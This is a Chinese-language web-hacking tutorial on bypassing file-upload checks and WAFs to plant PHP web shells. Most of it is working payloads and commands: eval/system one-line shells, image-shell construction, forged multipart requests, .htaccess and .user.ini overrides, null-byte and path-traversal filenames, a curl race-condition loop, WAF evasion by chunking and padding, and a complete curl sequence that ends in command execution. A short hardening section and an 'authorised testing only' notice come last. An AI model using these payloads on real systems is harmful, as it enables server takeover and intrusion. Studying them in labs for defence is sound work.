【教程】文件上传绕过实战:12种WAF逃逸技巧从入门到GetShell(附完整Payload)
适合人群:有基本Web安全基础、想系统掌握文件上传绕过技巧的渗透测试人员
前置知识:HTTP请求结构、Burp Suite基础操作、PHP/ASP基础知识
核心思想:只要能绕过一次校验,服务器就是你的
一、前置准备
1.1 本地靶场搭建
# 方式一:upload-labs(专攻文件上传的闯关靶场,共21关)
docker run -d -p 8080:80 c0ny1/upload-labs:latest
# 方式二:DVWA 文件上传模块
docker run -d -p 8081:80 vulnerables/web-dvwa
# 方式三:在线靶场(无需搭建)
# https://portswigger.net/web-security/file-upload
1.2 工具准备
# Burp Suite — 抓包改包的核心工具
# 一句话木马:
echo '<?php @eval($_POST["c"]);?>' > shell.php
echo '<?=system($_GET["c"]);?>' > cmd.php
# 图片马制作(颜色不影响PHP解析)
echo '<?php phpinfo();?>' >> normal.jpg
# 或copy合并法:
copy image.png /b + shell.php /a shell.png
# Webshell管理工具
# - 冰蝎 Behinder: https://github.com/rebeyond/Behinder
# - 蚁剑 AntSword: https://github.com/AntSwordProject/antSword
# - 哥斯拉 Godzilla: https://github.com/BeichenDream/Godzilla
二、核心原理
文件上传漏洞的本质很简单——服务器相信了客户端告诉它的文件类型。
// 反面教材:无校验直接保存
move_uploaded_file($_FILES['file']['tmp_name'], '/uploads/' . $_FILES['file']['name']);
攻击链:
找上传点 → 测试允许类型 → 尝试绕过 → 上传Webshell → 连接 → GetShell
WAF / 服务端校验维度(认清你的对手):
| 校验维度 | 检测内容 | 绕过难度 |
|---|---|---|
| 前端JS | 扩展名/MIME(客户端) | ⭐ 极低 |
| Content-Type | HTTP头的MIME值 | ⭐ 低 |
| 扩展名黑名单 | .php/.asp/.jsp等 | ⭐⭐ 中 |
| 扩展名白名单 | 仅允许.jpg/.png/.gif | ⭐⭐⭐ 高 |
| 文件内容头校验 | 文件魔数(Magic Number) | ⭐⭐⭐ 中高 |
| 图片二次渲染 | 重新生成图片内容 | ⭐⭐⭐⭐ 高 |
| WAF规则引擎 | 综合检测+语义分析 | ⭐⭐⭐⭐⭐ 极高 |
三、12种绕过技巧(由易到难)
🔓 技巧1:前端JS绕过
很多系统只在浏览器端用JS校验,服务端不做检测。
# 方法A:禁用浏览器JS(F12 → Settings → Disable JavaScript)
# 方法B:Burp抓包改包,直接跳过JS校验
# 方法C:F12删除 onsubmit 事件绑定
Burp操作:上传合法文件 → 拦截请求 → 改文件名称为 shell.php → 放行。
🔓 技巧2:Content-Type MIME绕过
服务器检查 Content-Type: application/x-php 时,直接改成图片MIME。
Burp改包示例:
POST /upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg # ← 从 application/x-php 改成 image/jpeg
<?php @eval($_POST['c']);?>
------WebKitFormBoundary--
🔓 技巧3:扩展名黑名单绕过
当WAF拦截 .php 但不拦截其它PHP后缀:
# Apache 环境可用变体后缀
shell.php3 shell.php4 shell.php5
shell.phtml shell.pht shell.phar
# IIS 环境
shell.asp shell.aspx
shell.asa shell.cer
shell.cdx shell.asax
# 通用
shell.php.jpg # Apache多后缀解析漏洞(从右向左匹配)
Apache多后缀解析原理:当 AddHandler application/x-httpd-php .php 配置存在时,shell.php.jpg 会被当作PHP执行。
🔓 技巧4:大小写绕过(Windows特性)
# Windows文件系统不区分大小写
shell.PhP → 解析为PHP
Shell.pHp → 解析为PHP
SHELL.PHP → 解析为PHP
某些WAF只匹配小写的 .php,大写就漏了。
🔓 技巧5:空格和点绕过(Windows特性)
Windows会自动去除文件名末尾的空格和点号:
shell.php␣ # 末尾有空格 → 保存后自动变 shell.php
shell.php. # 末尾有点 → 保存后自动变 shell.php
shell.php. . # 空格+点+空格 → Windows裁剪后 shell.php
WAF检查文件名时看到 .php␣ 以为是安全的后缀,但Windows存成 .php。
🔓 技巧6:双写绕过
针对某些WAF会删除敏感字符串的检测逻辑:
# WAF检测到 .php,直接删掉它
# shell.pphphp → 删除中间 .php → 剩下 shell.php ✅
# 其他变体
pphphp → 删 php 剩 php ✅
shelphp.php → 看WAF怎么删的
🔓 技巧7:00截断(老版本PHP专用)
条件:PHP < 5.3.4 + magic_quotes_gpc=off
# URL中截断(GET/POST参数带路径)
# 上传路径:/uploads/shell.php%00.jpg
# 服务器处理到 %00 时认为字符串结束 → 实际保存为 shell.php
# 二进制截断(通过Burp修改hex)
shell.php\x00.jpg → shell.php + 空字符 + .jpg
Burp操作:在文件名 shell.php 后右键 → Extensions → Hex → 把 . 改成 00。
🔓 技巧8:.htaccess 重绑定(Apache权限提升)
如果能上传 .htaccess 文件,就能让服务器把任意后缀当作PHP执行:
# 上传名为 .htaccess 的文件,内容:
AddType application/x-httpd-php .jpg
# 然后上传 shell.jpg → Apache 当PHP执行
.user.ini(PHP-FPM环境):
# 上传 .user.ini(等价于 .htaccess 但用于PHP-FPM)
auto_prepend_file=shell.jpg
# 同目录下所有PHP文件都会自动包含 shell.jpg
先决条件:上传目录允许 .htaccess / .user.ini 上传。
🔓 技巧9:图片马 + 文件包含组合拳
服务端校验了图片文件头(GIF89a / PNG / JPG 魔数),但仍然可以被包含执行:
# 制作合法图片马
echo 'GIF89a<?php @eval($_POST["c"]);?>' > shell.gif
# 或者用二进制方式
echo -n 'GIF89a' > shell.gif
cat shell.php >> shell.gif
# 检查文件头
file shell.gif
# 输出: shell.gif: GIF image data ✅
利用方式(需要配合文件包含漏洞LFI):
GET /index.php?page=uploads/shell.gif&c=system('id');
🔓 技巧10:竞争条件绕过(Upload & Execute Race)
某些系统先保存文件再校验,校验失败后删除。在删除之前访问它:
# 写入PHP脚本,在删除前反复请求
#!/bin/bash
# 快速请求脚本
for i in {1..1000}; do
curl -s "http://target/uploads/shell.php?c=id"
done
# 同时在另一个终端上传
curl -F "file=@shell.php" http://target/upload.php
利用条件:文件先完整保存再校验删除。有些CMS有1-5秒的窗口期。
🔓 技巧11:WAF层特殊绕过
针对云WAF/软件WAF的编码绕过:
# 分块传输绕过(Transfer-Encoding: chunked)
# Burp装 chunked coding converter 插件
# 脏字符填充绕过(硬件WAF)
# 文件名加超长脏字符:shell.php + "A"*5000
# 参数污染(HPP)
filename[]=shell.php&filename[]=shell.jpg
# 换行/制表符插入
Content-Disposition: form-data; name="file";
filename="shell.php"
🔓 技巧12:Content-Disposition 文件名操控
修改 Content-Disposition 中的 filename 参数:
# 利用路径跳转覆盖关键文件
# 原始:
Content-Disposition: form-data; name="file"; filename="avatar.jpg"
# 修改为路径跳转:
Content-Disposition: form-data; name="file"; filename="../shell.php"
# 如果路径拼接是 /uploads/ + filename
# 那么文件会保存到 /shell.php(跳出上传目录)
四、实战流程:从上传点到GetShell
4.1 淘宝式试探法
1️⃣ 先传合法文件 ✅ → 确认上传功能正常
2️⃣ 直接传 shell.php ❌ → 确认有防护
3️⃣ 传 shell.jpg ✅ → 确认图片类可上传
4️⃣ 改 Content-Type 试 → 定位防护维度
5️⃣ 逐层绕过直到成功 → 记录成功的那一招
4.2 完整Getshell示例
# 场景:upload-labs Pass-03(黑名单+Apache)
# 限制:禁止 .php/.asp/.jsp/.asa/.cer
# 绕过方法:使用 .phtml 后缀
# 步骤1:上传 shell.phtml
echo '<?php @eval($_POST["c"]);?>' > shell.phtml
# 步骤2:上传
curl -F "file=@shell.phtml" http://target/upload.php
# 步骤3:访问shell
curl http://target/uploads/shell.phtml -d "c=system('id');"
4.3 实战速查表
| 场景 | 首选绕过 | 备选 |
|---|---|---|
| 前端JS校验 | 禁用JS / Burp改包 | F12删事件 |
| 仅检查Content-Type | 改 image/jpeg | 改成 image/png |
| 黑名单过滤.php | .php3/.phtml/.phar | 大小写/双写 |
| 白名单只允许图片 | 图片马+文件包含 | .htaccess重绑定 |
| 校验文件头 | GIF89a拼接 | 图片二次渲染绕过 |
| Apache环境 | .htaccess + .jpg | 多后缀名 .php.jpg |
| Nginx环境 | .user.ini + .jpg | 空字节截断 |
| Windows服务器 | 大小写/空格/点 | NTFS流 |
| 云WAF(阿里云/云锁) | 分块传输 | 脏字符填充 |
| 图片二次渲染 | 比对差异找可用像素 | 用工具分析渲染前后 |
五、防御方案(知道怎么防才知道怎么攻)
✅ 最佳实践(开发者向)
// 1. 白名单扩展名(最有效)
$allowed = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) die('禁止上传');
// 2. 重命名文件(斩断后缀操纵)
$new_name = md5(uniqid()) . '.' . $ext;
// 3. 校验文件内容魔数
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
$allowed_mime = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed_mime)) die('非法内容');
// 4. 上传目录禁止脚本执行
// Nginx配置:
// location /uploads/ {
// location ~ \.php$ { deny all; }
// }
✅ 渗透测试人员自查清单
- [ ] 能发请求的地方就有上传点(不仅仅HTML表单)
- [ ] API接口的multipart/form-data也是上传点
- [ ] 头像/附件/文档/导入/OCR/证书上传都可能存在漏洞
- [ ] 上传成功后确认文件URL是否可访问
- [ ] 不同的上传端(Web/App/API)可能防护强度不同
六、常见踩坑与注意事项
- .htaccess上传时机:先上传.htaccess,再上传图片马。顺序错了就没用
- Apache多后缀:需要
AllowOverride All和AddHandler配置,默认不一定有 - Nginx CGI解析:
/shell.jpg/xxx.php需要特定Nginx版本(< 0.8.37) - 图片马不是万能的:没有文件包含漏洞配合就无法执行
- Godzilla VS 蚁剑:哥斯拉流量更隐蔽,蚁剑调试更方便,冰蝎加密更强——出门三件套都备着
- 二次渲染绕过:这是个进阶话题——用
$file['tmp_name']重绘图片后,原来插入的代码会被清除。需要找到渲染前后的"不变像素"注入Payload
总结
文件上传是渗透测试中攻击链最短、回报最高的漏洞之一。12种绕过技巧从易到难覆盖了80%以上的实战场景:
前端绕过 → MIME绕过 → 后缀变体 → 大小写/空格 → 双写
→ 00截断 → .htaccess重绑定 → 图片马+LFI → 竞争条件 → WAF编码绕过
实战口诀:先测边界再看头,后缀变体全部走,碰见白名单就上htaccess + 图片马,云WAF上分块传输脏字符。
延伸阅读:upload-labs 靶场的 21 关全部通过后,文件上传这块基本就通了。去试试你能不能只用上述技巧全部通关。
PingSec 提示:本文技巧仅用于授权测试。未经授权的文件上传攻击是违法的。